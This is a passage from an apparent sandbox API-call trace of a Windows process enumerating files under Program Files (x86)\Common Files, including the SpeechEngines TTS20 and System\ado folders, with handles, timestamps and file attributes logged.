dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0247.462] GetProcessHeap () returned 0x550000 [0247.462] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0247.462] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0247.462] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.462] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0247.462] GetProcessHeap () returned 0x550000 [0247.462] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0247.463] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0248.553] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.553] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0248.553] GetProcessHeap () returned 0x550000 [0248.553] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0248.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0248.787] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.787] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bb848fc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0x7bb848fc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0x7bb848fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3ec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.APL", cAlternateFileName="")) returned 1 [0248.788] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7650f9d, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7650f9d, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7bc1ce7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x764f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.CRT", cAlternateFileName="")) returned 1 [0248.788] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77357d7, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc77357d7, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7c84ff3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1c6aed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.CSD", cAlternateFileName="")) returned 1 [0248.788] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d9b2cc, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7d9b2cc, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7c93477c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2059c, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.IDX", cAlternateFileName="")) returned 1 [0248.788] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7e0d6e9, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7e0d6e9, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7da2a43c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xe3770, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.LTS", cAlternateFileName="")) returned 1 [0248.788] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f8a49f, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7f8a49f, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dc3f77c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2515b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.TTS", cAlternateFileName="")) returned 1 [0248.788] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc812d3b4, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc812d3b4, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dcfde5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.UDT", cAlternateFileName="")) returned 1 [0248.788] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8153513, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc8153513, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7df1319c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x308e50, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.UNT", cAlternateFileName="")) returned 1 [0248.788] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82d02c9, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc82d02c9, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dff79dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x36e466, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.WIH", cAlternateFileName="")) returned 1 [0248.788] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82d02c9, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc82d02c9, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dff79dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x36e466, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.WIH", cAlternateFileName="")) returned 0 [0248.788] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0248.790] GetProcessHeap () returned 0x550000 [0248.790] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0248.790] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7b89235, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf7b89235, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9fa0a390, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0248.790] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2bbb36, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc2bbb36, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0248.790] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2bbb36, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc2bbb36, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0248.791] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0248.791] GetProcessHeap () returned 0x550000 [0248.791] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0248.791] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7523740, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf7523740, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9f416c90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0248.791] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7b630d6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf7b630d6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9f4f9d60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSDecWrp.dll", cAlternateFileName="")) returned 1 [0248.791] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf80be232, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf80be232, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9f6c4d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0248.791] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaf9b217, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xfaf9b217, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9fa0a390, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0248.791] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaf9b217, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xfaf9b217, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9fa0a390, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0248.791] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0248.792] GetProcessHeap () returned 0x550000 [0248.792] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0248.793] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0248.793] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0248.794] GetProcessHeap () returned 0x550000 [0248.794] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0248.794] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0248.794] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0248.794] GetProcessHeap () returned 0x550000 [0248.794] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0248.794] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0248.795] GetProcessHeap () returned 0x550000 [0248.795] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0248.795] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\System\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0248.896] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.896] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0248.896] GetProcessHeap () returned 0x550000 [0248.896] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0248.896] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\System\\ado\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0249.014] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.014] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252bcdd, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x252bcdd, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xab6cf35d, ftLastWriteTime.dwHighDateTime=0x1ca03fd, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0249.014] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2505b7e, ftCreationTime.dwHighDateTime=0x1ca040b, ftLastAccessTime.dwLowDateTime=0x2505b7e, ftLastAccessTime.dwHighDateTime=0x1ca040b, ftLastWriteTime.dwLowDateTime=0xab5eab23, ftLastWriteTime.dwHighDateTime=0x1ca03fd, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0249.014] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0249.015] GetProcessHeap () returned 0x550000 [0249.015] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0249.015] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0249.267] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.267] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3080a8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0249.267] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3080a8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0249.267] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0249.268] GetProcessHeap () returned 0x550000 [0249.268] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0249.268] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7465328, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb7465328, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x5fb141f0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0249.308] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, 